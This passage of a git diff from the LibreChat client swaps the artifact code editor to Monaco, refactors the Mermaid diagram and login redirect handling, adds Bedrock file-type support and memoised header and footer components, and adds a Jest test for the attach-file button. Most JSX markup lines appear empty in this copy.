+ * tokens so syntax highlighting doesn't flash during updates.
+ */
+ useEffect(() => {
+ const ed = monacoRef.current;
+ if (!ed || !readOnly) {
+ return;
+ }
+ const newContent = artifact.content ?? '';
+ const prev = prevContentRef.current;
+
+ if (newContent === prev) {
+ return;
+ }
+
+ const model = ed.getModel();
+ if (!model) {
+ return;
+ }
+
+ if (newContent.startsWith(prev) && prev.length > 0) {
+ const appended = newContent.slice(prev.length);
+ const endPos = model.getPositionAt(model.getValueLength());
+ model.applyEdits([
+ {
+ range: {
+ startLineNumber: endPos.lineNumber,
+ startColumn: endPos.column,
+ endLineNumber: endPos.lineNumber,
+ endColumn: endPos.column,
+ },
+ text: appended,
+ },
+ ]);
+ } else {
+ model.setValue(newContent);
+ }
+
+ prevContentRef.current = newContent;
+ ed.revealLine(model.getLineCount());
+ }, [artifact.content, readOnly, monacoRef]);
+
+ useEffect(() => {
+ if (artifact.id === prevArtifactId.current) {
+ return;
+ }
+ prevArtifactId.current = artifact.id;
+ prevContentRef.current = artifact.content ?? '';
+ const ed = monacoRef.current;
+ if (ed && artifact.content != null) {
+ ed.getModel()?.setValue(artifact.content);
+ }
+ }, [artifact.id, artifact.content, monacoRef]);
+
+ useEffect(() => {
+ if (prevReadOnly.current && !readOnly && artifact.content != null) {
+ const ed = monacoRef.current;
+ if (ed) {
+ ed.getModel()?.setValue(artifact.content);
+ prevContentRef.current = artifact.content;
+ }
+ }
+ prevReadOnly.current = readOnly;
+ }, [readOnly, artifact.content, monacoRef]);
+
+ const handleChange = useCallback(
+ (value: string | undefined) => {
+ if (value === undefined || readOnly) {
+ return;
+ }
+ prevContentRef.current = value;
+ setCurrentCode(value);
+ if (value.length > 0) {
+ debouncedMutation(value);
+ }
+ },
+ [readOnly, debouncedMutation, setCurrentCode],
+ );
+
+ /**
+ * Disable all validation — this is an artifact viewer/editor, not an IDE.
+ * Note: these are global Monaco settings that affect all editor instances on the page.
+ * The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript`
+ * as `{ deprecated: true }` while the runtime API is fully functional.
+ */
+ const handleBeforeMount = useCallback((monaco: Monaco) => {
+ const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages
+ .typescript as unknown as {
+ typescriptDefaults: {
+ setDiagnosticsOptions: (o: {
+ noSemanticValidation: boolean;
+ noSyntaxValidation: boolean;
+ }) => void;
+ setCompilerOptions: (o: {
+ allowNonTsExtensions: boolean;
+ allowJs: boolean;
+ jsx: number;
+ }) => void;
+ };
+ javascriptDefaults: {
+ setDiagnosticsOptions: (o: {
+ noSemanticValidation: boolean;
+ noSyntaxValidation: boolean;
+ }) => void;
+ setCompilerOptions: (o: {
+ allowNonTsExtensions: boolean;
+ allowJs: boolean;
+ jsx: number;
+ }) => void;
+ };
+ JsxEmit: { React: number };
+ };
+ const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true };
+ const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React };
+ typescriptDefaults.setDiagnosticsOptions(diagnosticsOff);
+ javascriptDefaults.setDiagnosticsOptions(diagnosticsOff);
+ typescriptDefaults.setCompilerOptions(compilerBase);
+ javascriptDefaults.setCompilerOptions(compilerBase);
+ }, []);
+
+ const handleMount = useCallback(
+ (ed: editor.IStandaloneCodeEditor) => {
+ monacoRef.current = ed;
+ prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? '';
+ if (readOnly) {
+ const model = ed.getModel();
+ if (model) {
+ ed.revealLine(model.getLineCount());
+ }
+ }
+ },
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ [monacoRef],
+ );
+
+ const language = getMonacoLanguage(artifact.type, artifact.language);
+
+ const editorOptions = useMemo(
+ () => ({
+ readOnly,
+ minimap: { enabled: false },
+ lineNumbers: 'on',
+ scrollBeyondLastLine: false,
+ fontSize: 13,
+ tabSize: 2,
+ wordWrap: 'on',
+ automaticLayout: true,
+ padding: { top: 8 },
+ renderLineHighlight: readOnly ? 'none' : 'line',
+ cursorStyle: readOnly ? 'underline-thin' : 'line',
+ scrollbar: {
+ vertical: 'visible',
+ horizontal: 'auto',
+ verticalScrollbarSize: 8,
+ horizontalScrollbarSize: 8,
+ useShadows: false,
+ alwaysConsumeMouseWheel: false,
+ },
+ overviewRulerLanes: 0,
+ hideCursorInOverviewRuler: true,
+ overviewRulerBorder: false,
+ folding: false,
+ glyphMargin: false,
+ colorDecorators: !readOnly,
+ occurrencesHighlight: readOnly ? 'off' : 'singleFile',
+ selectionHighlight: !readOnly,
+ renderValidationDecorations: readOnly ? 'off' : 'editable',
+ quickSuggestions: !readOnly,
+ suggestOnTriggerCharacters: !readOnly,
+ parameterHints: { enabled: !readOnly },
+ hover: { enabled: !readOnly },
+ matchBrackets: readOnly ? 'never' : 'always',
+ }),
+ [readOnly],
+ );
+
+ if (!artifact.content) {
return null;
}
return (
-
-
-
+
+
+
);
};
diff --git a/client/src/components/Artifacts/ArtifactTabs.tsx b/client/src/components/Artifacts/ArtifactTabs.tsx
index 8e2a92eb9c..32332215f0 100644
--- a/client/src/components/Artifacts/ArtifactTabs.tsx
+++ b/client/src/components/Artifacts/ArtifactTabs.tsx
@@ -1,30 +1,26 @@
import { useRef, useEffect } from 'react';
import * as Tabs from '@radix-ui/react-tabs';
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
-import type { CodeEditorRef } from '@codesandbox/sandpack-react';
+import type { editor } from 'monaco-editor';
import type { Artifact } from '~/common';
import { useCodeState } from '~/Providers/EditorContext';
-import { useArtifactsContext } from '~/Providers';
import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
-import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll';
import { ArtifactCodeEditor } from './ArtifactCodeEditor';
import { useGetStartupConfig } from '~/data-provider';
import { ArtifactPreview } from './ArtifactPreview';
export default function ArtifactTabs({
artifact,
- editorRef,
previewRef,
isSharedConvo,
}: {
artifact: Artifact;
- editorRef: React.MutableRefObject;
previewRef: React.MutableRefObject;
isSharedConvo?: boolean;
}) {
- const { isSubmitting } = useArtifactsContext();
const { currentCode, setCurrentCode } = useCodeState();
const { data: startupConfig } = useGetStartupConfig();
+ const monacoRef = useRef(null);
const lastIdRef = useRef(null);
useEffect(() => {
@@ -34,33 +30,24 @@ export default function ArtifactTabs({
lastIdRef.current = artifact.id;
}, [setCurrentCode, artifact.id]);
- const content = artifact.content ?? '';
- const contentRef = useRef(null);
- useAutoScroll({ ref: contentRef, content, isSubmitting });
-
const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
return (
-
+
-
+
();
const previewRef = useRef();
const [isVisible, setIsVisible] = useState(false);
const [isClosing, setIsClosing] = useState(false);
@@ -297,7 +296,6 @@ export default function Artifacts() {
}
previewRef={previewRef as React.MutableRefObject}
isSharedConvo={isSharedConvo}
/>
diff --git a/client/src/components/Artifacts/Code.tsx b/client/src/components/Artifacts/Code.tsx
index 6894ce775b..001b010908 100644
--- a/client/src/components/Artifacts/Code.tsx
+++ b/client/src/components/Artifacts/Code.tsx
@@ -1,11 +1,8 @@
-import React, { memo, useEffect, useRef, useState } from 'react';
+import React, { memo, useState } from 'react';
import copy from 'copy-to-clipboard';
-import rehypeKatex from 'rehype-katex';
-import ReactMarkdown from 'react-markdown';
import { Button } from '@librechat/client';
-import rehypeHighlight from 'rehype-highlight';
import { Copy, CircleCheckBig } from 'lucide-react';
-import { handleDoubleClick, langSubset } from '~/utils';
+import { handleDoubleClick } from '~/utils';
import { useLocalize } from '~/hooks';
type TCodeProps = {
@@ -29,74 +26,6 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC
return {children};
});
-export const CodeMarkdown = memo(
- ({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => {
- const scrollRef = useRef(null);
- const [userScrolled, setUserScrolled] = useState(false);
- const currentContent = content;
- const rehypePlugins = [
- [rehypeKatex],
- [
- rehypeHighlight,
- {
- detect: true,
- ignoreMissing: true,
- subset: langSubset,
- },
- ],
- ];
-
- useEffect(() => {
- const scrollContainer = scrollRef.current;
- if (!scrollContainer) {
- return;
- }
-
- const handleScroll = () => {
- const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
- const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
-
- if (!isNearBottom) {
- setUserScrolled(true);
- } else {
- setUserScrolled(false);
- }
- };
-
- scrollContainer.addEventListener('scroll', handleScroll);
-
- return () => {
- scrollContainer.removeEventListener('scroll', handleScroll);
- };
- }, []);
-
- useEffect(() => {
- const scrollContainer = scrollRef.current;
- if (!scrollContainer || !isSubmitting || userScrolled) {
- return;
- }
-
- scrollContainer.scrollTop = scrollContainer.scrollHeight;
- }, [content, isSubmitting, userScrolled]);
-
- return (
-
-
- {currentContent}
-
-
- );
- },
-);
-
export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false);
diff --git a/client/src/components/Artifacts/Mermaid.tsx b/client/src/components/Artifacts/Mermaid.tsx
index f7291998a4..5eb55be3ae 100644
--- a/client/src/components/Artifacts/Mermaid.tsx
+++ b/client/src/components/Artifacts/Mermaid.tsx
@@ -1,153 +1,123 @@
-import React, { useEffect, useRef, useState } from 'react';
+import React, { useEffect, useRef, useState, useCallback } from 'react';
import mermaid from 'mermaid';
import { Button } from '@librechat/client';
-import { TransformWrapper, TransformComponent, ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
-import { ZoomIn, ZoomOut, RefreshCw } from 'lucide-react';
+import { ZoomIn, ZoomOut, RotateCcw } from 'lucide-react';
+import { TransformWrapper, TransformComponent } from 'react-zoom-pan-pinch';
+import type { ReactZoomPanPinchRef } from 'react-zoom-pan-pinch';
+import { artifactFlowchartConfig } from '~/utils/mermaid';
interface MermaidDiagramProps {
content: string;
+ isDarkMode?: boolean;
}
-/** Note: this is just for testing purposes, don't actually use this component */
-const MermaidDiagram: React.FC = ({ content }) => {
+const MermaidDiagram: React.FC = ({ content, isDarkMode = true }) => {
const mermaidRef = useRef(null);
const transformRef = useRef(null);
const [isRendered, setIsRendered] = useState(false);
+ const theme = isDarkMode ? 'dark' : 'neutral';
+ const bgColor = isDarkMode ? '#212121' : '#FFFFFF';
useEffect(() => {
mermaid.initialize({
startOnLoad: false,
- theme: 'base',
+ theme,
securityLevel: 'sandbox',
- themeVariables: {
- background: '#282C34',
- primaryColor: '#333842',
- secondaryColor: '#333842',
- tertiaryColor: '#333842',
- primaryTextColor: '#ABB2BF',
- secondaryTextColor: '#ABB2BF',
- lineColor: '#636D83',
- fontSize: '16px',
- nodeBorder: '#636D83',
- mainBkg: '#282C34',
- altBackground: '#282C34',
- textColor: '#ABB2BF',
- edgeLabelBackground: '#282C34',
- clusterBkg: '#282C34',
- clusterBorder: '#636D83',
- labelBoxBkgColor: '#333842',
- labelBoxBorderColor: '#636D83',
- labelTextColor: '#ABB2BF',
- },
- flowchart: {
- curve: 'basis',
- nodeSpacing: 50,
- rankSpacing: 50,
- diagramPadding: 8,
- htmlLabels: true,
- useMaxWidth: true,
- padding: 15,
- wrappingWidth: 200,
- },
+ flowchart: artifactFlowchartConfig,
});
const renderDiagram = async () => {
- if (mermaidRef.current) {
- try {
- const { svg } = await mermaid.render('mermaid-diagram', content);
- mermaidRef.current.innerHTML = svg;
+ if (!mermaidRef.current) {
+ return;
+ }
- const svgElement = mermaidRef.current.querySelector('svg');
- if (svgElement) {
- svgElement.style.width = '100%';
- svgElement.style.height = '100%';
+ try {
+ const { svg } = await mermaid.render('mermaid-diagram', content);
+ mermaidRef.current.innerHTML = svg;
- const pathElements = svgElement.querySelectorAll('path');
- pathElements.forEach((path) => {
- path.style.strokeWidth = '1.5px';
- });
-
- const rectElements = svgElement.querySelectorAll('rect');
- rectElements.forEach((rect) => {
- const parent = rect.parentElement;
- if (parent && parent.classList.contains('node')) {
- rect.style.stroke = '#636D83';
- rect.style.strokeWidth = '1px';
- } else {
- rect.style.stroke = 'none';
- }
- });
- }
- setIsRendered(true);
- } catch (error) {
- console.error('Mermaid rendering error:', error);
+ const svgElement = mermaidRef.current.querySelector('svg');
+ if (svgElement) {
+ svgElement.style.width = '100%';
+ svgElement.style.height = '100%';
+ }
+ setIsRendered(true);
+ } catch (error) {
+ console.error('Mermaid rendering error:', error);
+ if (mermaidRef.current) {
mermaidRef.current.innerHTML = 'Error rendering diagram';
}
}
};
renderDiagram();
- }, [content]);
+ }, [content, theme]);
- const centerAndFitDiagram = () => {
+ const centerAndFitDiagram = useCallback(() => {
if (transformRef.current && mermaidRef.current) {
const { centerView, zoomToElement } = transformRef.current;
zoomToElement(mermaidRef.current as HTMLElement);
centerView(1, 0);
}
- };
+ }, []);
useEffect(() => {
if (isRendered) {
centerAndFitDiagram();
}
- }, [isRendered]);
+ }, [isRendered, centerAndFitDiagram]);
- const handlePanning = () => {
- if (transformRef.current) {
- const { state, instance } = (transformRef.current as ReactZoomPanPinchRef | undefined) ?? {};
- if (!state || !instance) {
- return;
- }
- const { scale, positionX, positionY } = state;
- const { wrapperComponent, contentComponent } = instance;
-
- if (wrapperComponent && contentComponent) {
- const wrapperRect = wrapperComponent.getBoundingClientRect();
- const contentRect = contentComponent.getBoundingClientRect();
- const maxX = wrapperRect.width - contentRect.width * scale;
- const maxY = wrapperRect.height - contentRect.height * scale;
-
- let newX = positionX;
- let newY = positionY;
-
- if (newX > 0) {
- newX = 0;
- }
- if (newY > 0) {
- newY = 0;
- }
- if (newX < maxX) {
- newX = maxX;
- }
- if (newY < maxY) {
- newY = maxY;
- }
-
- if (newX !== positionX || newY !== positionY) {
- instance.setTransformState(scale, newX, newY);
- }
- }
+ const handlePanning = useCallback(() => {
+ if (!transformRef.current) {
+ return;
}
- };
+
+ const { state, instance } = transformRef.current;
+ if (!state || !instance) {
+ return;
+ }
+ const { scale, positionX, positionY } = state;
+ const { wrapperComponent, contentComponent } = instance;
+
+ if (!wrapperComponent || !contentComponent) {
+ return;
+ }
+
+ const wrapperRect = wrapperComponent.getBoundingClientRect();
+ const contentRect = contentComponent.getBoundingClientRect();
+ const maxX = wrapperRect.width - contentRect.width * scale;
+ const maxY = wrapperRect.height - contentRect.height * scale;
+
+ let newX = positionX;
+ let newY = positionY;
+
+ if (newX > 0) {
+ newX = 0;
+ }
+ if (newY > 0) {
+ newY = 0;
+ }
+ if (newX < maxX) {
+ newX = maxX;
+ }
+ if (newY < maxY) {
+ newY = maxY;
+ }
+
+ if (newX !== positionX || newY !== positionY) {
+ instance.setTransformState(scale, newX, newY);
+ }
+ }, []);
return (
-
+
= ({ content }) => {
-
+
>
diff --git a/client/src/components/Auth/Login.tsx b/client/src/components/Auth/Login.tsx
index 48a506879f..7c3adf51bd 100644
--- a/client/src/components/Auth/Login.tsx
+++ b/client/src/components/Auth/Login.tsx
@@ -1,15 +1,19 @@
import { useEffect, useState } from 'react';
import { ErrorTypes, registerPage } from 'librechat-data-provider';
import { OpenIDIcon, useToastContext } from '@librechat/client';
-import { useOutletContext, useSearchParams } from 'react-router-dom';
+import { useOutletContext, useSearchParams, useLocation } from 'react-router-dom';
import type { TLoginLayoutContext } from '~/common';
+import { getLoginError, persistRedirectToSession } from '~/utils';
import { ErrorMessage } from '~/components/Auth/ErrorMessage';
import SocialButton from '~/components/Auth/SocialButton';
import { useAuthContext } from '~/hooks/AuthContext';
-import { getLoginError } from '~/utils';
import { useLocalize } from '~/hooks';
import LoginForm from './LoginForm';
+interface LoginLocationState {
+ redirect_to?: string;
+}
+
function Login() {
const localize = useLocalize();
const { showToast } = useToastContext();
@@ -17,13 +21,22 @@ function Login() {
const { startupConfig } = useOutletContext
();
const [searchParams, setSearchParams] = useSearchParams();
- // Determine if auto-redirect should be disabled based on the URL parameter
+ const location = useLocation();
const disableAutoRedirect = searchParams.get('redirect') === 'false';
- // Persist the disable flag locally so that once detected, auto-redirect stays disabled.
const [isAutoRedirectDisabled, setIsAutoRedirectDisabled] = useState(disableAutoRedirect);
useEffect(() => {
+ const redirectTo = searchParams.get('redirect_to');
+ if (redirectTo) {
+ persistRedirectToSession(redirectTo);
+ } else {
+ const state = location.state as LoginLocationState | null;
+ if (state?.redirect_to) {
+ persistRedirectToSession(state.redirect_to);
+ }
+ }
+
const oauthError = searchParams?.get('error');
if (oauthError && oauthError === ErrorTypes.AUTH_FAILED) {
showToast({
@@ -34,9 +47,8 @@ function Login() {
newParams.delete('error');
setSearchParams(newParams, { replace: true });
}
- }, [searchParams, setSearchParams, showToast, localize]);
+ }, [searchParams, setSearchParams, showToast, localize, location.state]);
- // Once the disable flag is detected, update local state and remove the parameter from the URL.
useEffect(() => {
if (disableAutoRedirect) {
setIsAutoRedirectDisabled(true);
@@ -46,7 +58,6 @@ function Login() {
}
}, [disableAutoRedirect, searchParams, setSearchParams]);
- // Determine whether we should auto-redirect to OpenID.
const shouldAutoRedirect =
startupConfig?.openidLoginEnabled &&
startupConfig?.openidAutoRedirect &&
@@ -60,7 +71,6 @@ function Login() {
}
}, [shouldAutoRedirect, startupConfig]);
- // Render fallback UI if auto-redirect is active.
if (shouldAutoRedirect) {
return (
diff --git a/client/src/components/Chat/AddMultiConvo.tsx b/client/src/components/Chat/AddMultiConvo.tsx
index 7cabe0f336..48e9919092 100644
--- a/client/src/components/Chat/AddMultiConvo.tsx
+++ b/client/src/components/Chat/AddMultiConvo.tsx
@@ -1,17 +1,21 @@
+import { useCallback } from 'react';
+import { useSetRecoilState, useRecoilValue } from 'recoil';
import { PlusCircle } from 'lucide-react';
import { TooltipAnchor } from '@librechat/client';
import { isAssistantsEndpoint } from 'librechat-data-provider';
import type { TConversation } from 'librechat-data-provider';
-import { useChatContext, useAddedChatContext } from '~/Providers';
+import { useGetConversation, useLocalize } from '~/hooks';
import { mainTextareaId } from '~/common';
-import { useLocalize } from '~/hooks';
+import store from '~/store';
function AddMultiConvo() {
- const { conversation } = useChatContext();
- const { setConversation: setAddedConvo } = useAddedChatContext();
const localize = useLocalize();
+ const getConversation = useGetConversation(0);
+ const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
+ const setAddedConvo = useSetRecoilState(store.conversationByIndex(1));
- const clickHandler = () => {
+ const clickHandler = useCallback(() => {
+ const conversation = getConversation();
const { title: _t, ...convo } = conversation ?? ({} as TConversation);
setAddedConvo({
...convo,
@@ -22,13 +26,13 @@ function AddMultiConvo() {
if (textarea) {
textarea.focus();
}
- };
+ }, [getConversation, setAddedConvo]);
- if (!conversation) {
+ if (!endpoint) {
return null;
}
- if (isAssistantsEndpoint(conversation.endpoint)) {
+ if (isAssistantsEndpoint(endpoint)) {
return null;
}
diff --git a/client/src/components/Chat/Footer.tsx b/client/src/components/Chat/Footer.tsx
index 75dd853c4f..541647a8d0 100644
--- a/client/src/components/Chat/Footer.tsx
+++ b/client/src/components/Chat/Footer.tsx
@@ -1,11 +1,11 @@
-import React, { useEffect } from 'react';
-import ReactMarkdown from 'react-markdown';
+import React, { useEffect, memo } from 'react';
import TagManager from 'react-gtm-module';
+import ReactMarkdown from 'react-markdown';
import { Constants } from 'librechat-data-provider';
import { useGetStartupConfig } from '~/data-provider';
import { useLocalize } from '~/hooks';
-export default function Footer({ className }: { className?: string }) {
+function Footer({ className }: { className?: string }) {
const { data: config } = useGetStartupConfig();
const localize = useLocalize();
@@ -98,3 +98,8 @@ export default function Footer({ className }: { className?: string }) {
);
}
+
+const MemoizedFooter = memo(Footer);
+MemoizedFooter.displayName = 'Footer';
+
+export default MemoizedFooter;
diff --git a/client/src/components/Chat/Header.tsx b/client/src/components/Chat/Header.tsx
index 40e2c6b7ad..9e44e804c9 100644
--- a/client/src/components/Chat/Header.tsx
+++ b/client/src/components/Chat/Header.tsx
@@ -1,4 +1,4 @@
-import { useMemo } from 'react';
+import { memo, useMemo } from 'react';
import { useMediaQuery } from '@librechat/client';
import { useOutletContext } from 'react-router-dom';
import { AnimatePresence, motion } from 'framer-motion';
@@ -16,7 +16,7 @@ import { cn } from '~/utils';
const defaultInterface = getConfigDefaults().interface;
-export default function Header() {
+function Header() {
const { data: startupConfig } = useGetStartupConfig();
const { navVisible, setNavVisible } = useOutletContext();
@@ -35,6 +35,11 @@ export default function Header() {
permission: Permissions.USE,
});
+ const hasAccessToTemporaryChat = useHasAccess({
+ permissionType: PermissionTypes.TEMPORARY_CHAT,
+ permission: Permissions.USE,
+ });
+
const isSmallScreen = useMediaQuery('(max-width: 768px)');
return (
@@ -73,7 +78,7 @@ export default function Header() {
-
+ {hasAccessToTemporaryChat === true && }
>
)}
@@ -85,7 +90,7 @@ export default function Header() {
-
+ {hasAccessToTemporaryChat === true && }
)}
@@ -94,3 +99,8 @@ export default function Header() {
);
}
+
+const MemoizedHeader = memo(Header);
+MemoizedHeader.displayName = 'Header';
+
+export default MemoizedHeader;
diff --git a/client/src/components/Chat/Input/ChatForm.tsx b/client/src/components/Chat/Input/ChatForm.tsx
index 45277e5b9c..fed355dcb3 100644
--- a/client/src/components/Chat/Input/ChatForm.tsx
+++ b/client/src/components/Chat/Input/ChatForm.tsx
@@ -194,7 +194,7 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
const baseClasses = useMemo(
() =>
cn(
- 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/50 bg-transparent dark:placeholder-white/50 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
+ 'md:py-3.5 m-0 w-full resize-none py-[13px] placeholder-black/60 bg-transparent dark:placeholder-white/60 [&:has(textarea:focus)]:shadow-[0_2px_6px_rgba(0,0,0,.05)]',
isCollapsed ? 'max-h-[52px]' : 'max-h-[45vh] md:max-h-[55vh]',
isMoreThanThreeRows ? 'pl-5' : 'px-5',
),
@@ -219,7 +219,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
{showPlusPopover && !isAssistantsEndpoint(endpoint) && (
{
)}
{showMentionPopover && (
{
- return (
- getEndpointField(endpointsConfig, endpoint, 'type') ||
- (endpoint as EModelEndpoint | undefined)
- );
- }, [endpoint, endpointsConfig]);
+ const agentProvider = useMemo(() => {
+ if (!isAgents || !conversation?.agent_id) {
+ return undefined;
+ }
+ const agent = agentData || agentsMap?.[conversation.agent_id];
+ return agent?.provider;
+ }, [isAgents, conversation?.agent_id, agentData, agentsMap]);
+ const endpointType = useMemo(
+ () => resolveEndpointType(endpointsConfig, endpoint, agentProvider),
+ [endpointsConfig, endpoint, agentProvider],
+ );
+
+ const fileConfigEndpoint = useMemo(
+ () => (isAgents && agentProvider ? agentProvider : endpoint),
+ [isAgents, agentProvider, endpoint],
+ );
const endpointFileConfig = useMemo(
() =>
getEndpointFileConfig({
- endpoint,
fileConfig,
endpointType,
+ endpoint: fileConfigEndpoint,
}),
- [endpoint, fileConfig, endpointType],
+ [fileConfigEndpoint, fileConfig, endpointType],
);
const endpointSupportsFiles: boolean = useMemo(
() => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,
@@ -82,7 +91,7 @@ function AttachFileChat({
if (isAssistants && endpointSupportsFiles && !isUploadDisabled) {
return ;
- } else if (isAgents || (endpointSupportsFiles && !isUploadDisabled)) {
+ } else if ((isAgents || endpointSupportsFiles) && !isUploadDisabled) {
return (
= 'image_document';
if (currentProvider === Providers.GOOGLE || currentProvider === Providers.OPENROUTER) {
fileType = 'image_document_video_audio';
+ } else if (
+ currentProvider === Providers.BEDROCK ||
+ endpointType === EModelEndpoint.bedrock
+ ) {
+ fileType = 'image_document_extended';
}
onAction(fileType);
},
diff --git a/client/src/components/Chat/Input/Files/DragDropModal.tsx b/client/src/components/Chat/Input/Files/DragDropModal.tsx
index a59a7e3e9d..cb5109c866 100644
--- a/client/src/components/Chat/Input/Files/DragDropModal.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropModal.tsx
@@ -1,14 +1,6 @@
import React, { useMemo } from 'react';
import { useRecoilValue } from 'recoil';
import { OGDialog, OGDialogTemplate } from '@librechat/client';
-import {
- Providers,
- inferMimeType,
- EToolResources,
- EModelEndpoint,
- defaultAgentCapabilities,
- isDocumentSupportedProvider,
-} from 'librechat-data-provider';
import {
ImageUpIcon,
FileSearch,
@@ -16,6 +8,15 @@ import {
FileImageIcon,
TerminalSquareIcon,
} from 'lucide-react';
+import {
+ Providers,
+ inferMimeType,
+ EToolResources,
+ EModelEndpoint,
+ isBedrockDocumentType,
+ defaultAgentCapabilities,
+ isDocumentSupportedProvider,
+} from 'librechat-data-provider';
import {
useAgentToolPermissions,
useAgentCapabilities,
@@ -77,20 +78,26 @@ const DragDropModal = ({ onOptionSelect, setShowModal, files, isVisible }: DragD
) {
const supportsImageDocVideoAudio =
currentProvider === EModelEndpoint.google || currentProvider === Providers.OPENROUTER;
- const validFileTypes = supportsImageDocVideoAudio
- ? files.every((file) => {
- const type = getFileType(file);
- return (
- type?.startsWith('image/') ||
- type?.startsWith('video/') ||
- type?.startsWith('audio/') ||
- type === 'application/pdf'
- );
- })
- : files.every((file) => {
- const type = getFileType(file);
- return type?.startsWith('image/') || type === 'application/pdf';
- });
+ const isBedrock =
+ currentProvider === Providers.BEDROCK || endpointType === EModelEndpoint.bedrock;
+
+ const isValidProviderFile = (file: File): boolean => {
+ const type = getFileType(file);
+ if (supportsImageDocVideoAudio) {
+ return (
+ type?.startsWith('image/') ||
+ type?.startsWith('video/') ||
+ type?.startsWith('audio/') ||
+ type === 'application/pdf'
+ );
+ }
+ if (isBedrock) {
+ return type?.startsWith('image/') || isBedrockDocumentType(type);
+ }
+ return type?.startsWith('image/') || type === 'application/pdf';
+ };
+
+ const validFileTypes = files.every(isValidProviderFile);
_options.push({
label: localize('com_ui_upload_provider'),
diff --git a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
index f5f45e2b88..43700206c3 100644
--- a/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
+++ b/client/src/components/Chat/Input/Files/DragDropOverlay.tsx
@@ -36,7 +36,7 @@ const DragDropOverlay = memo(({ isActive }: DragDropOverlayProps) => {
}}
>
{/** Content area with subtle background */}
-
+
| undefined;
abortUpload?: () => void;
setFiles: React.Dispatch>>;
- setFilesLoading: React.Dispatch>;
+ setFilesLoading?: React.Dispatch>;
fileFilter?: (file: ExtendedFile) => boolean;
assistant_id?: string;
agent_id?: string;
@@ -58,6 +58,7 @@ export default function FileRow({
const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
useEffect(() => {
+ if (!setFilesLoading) return;
if (files.length === 0) {
setFilesLoading(false);
return;
@@ -111,13 +112,15 @@ export default function FileRow({
)
.uniqueFiles.map((file: ExtendedFile, index: number) => {
const handleDelete = () => {
- showToast({
- message: localize('com_ui_deleting_file'),
- status: 'info',
- });
if (abortUpload && file.progress < 1) {
abortUpload();
}
+ if (file.progress >= 1) {
+ showToast({
+ message: localize('com_ui_deleting_file'),
+ status: 'info',
+ });
+ }
deleteFile({ file, setFiles });
};
const isImage = file.type?.startsWith('image') ?? false;
@@ -133,7 +136,7 @@ export default function FileRow({
>
{isImage ? (
> = {};
+let mockAgentQueryData: Partial | undefined;
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+ useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
+}));
+
+jest.mock('~/Providers', () => ({
+ useAgentsMapContext: () => mockAgentsMap,
+}));
+
+/** Capture the props passed to AttachFileMenu */
+let mockAttachFileMenuProps: Record = {};
+jest.mock('../AttachFileMenu', () => {
+ return function MockAttachFileMenu(props: Record) {
+ mockAttachFileMenuProps = props;
+ return
;
+ };
+});
+
+jest.mock('../AttachFile', () => {
+ return function MockAttachFile() {
+ return
;
+ };
+});
+
+const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+
+function renderComponent(conversation: Record | null, disableInputs = false) {
+ return render(
+
+
+
+
+ ,
+ );
+}
+
+describe('AttachFileChat', () => {
+ beforeEach(() => {
+ mockFileConfig = defaultFileConfig;
+ mockAgentsMap = {};
+ mockAgentQueryData = undefined;
+ mockAttachFileMenuProps = {};
+ });
+
+ describe('rendering decisions', () => {
+ it('renders AttachFileMenu for agents endpoint', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+ });
+
+ it('renders AttachFileMenu for custom endpoint with file support', () => {
+ renderComponent({ endpoint: 'Moonshot' });
+ expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
+ });
+
+ it('renders null for null conversation', () => {
+ const { container } = renderComponent(null);
+ expect(container.innerHTML).toBe('');
+ });
+ });
+
+ describe('endpointType resolution for agents', () => {
+ it('passes custom endpointType when agent provider is a custom endpoint', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
+ });
+
+ it('passes openAI endpointType when agent provider is openAI', () => {
+ mockAgentsMap = {
+ 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial,
+ };
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
+ expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
+ });
+
+ it('passes agents endpointType when no agent provider', () => {
+ renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
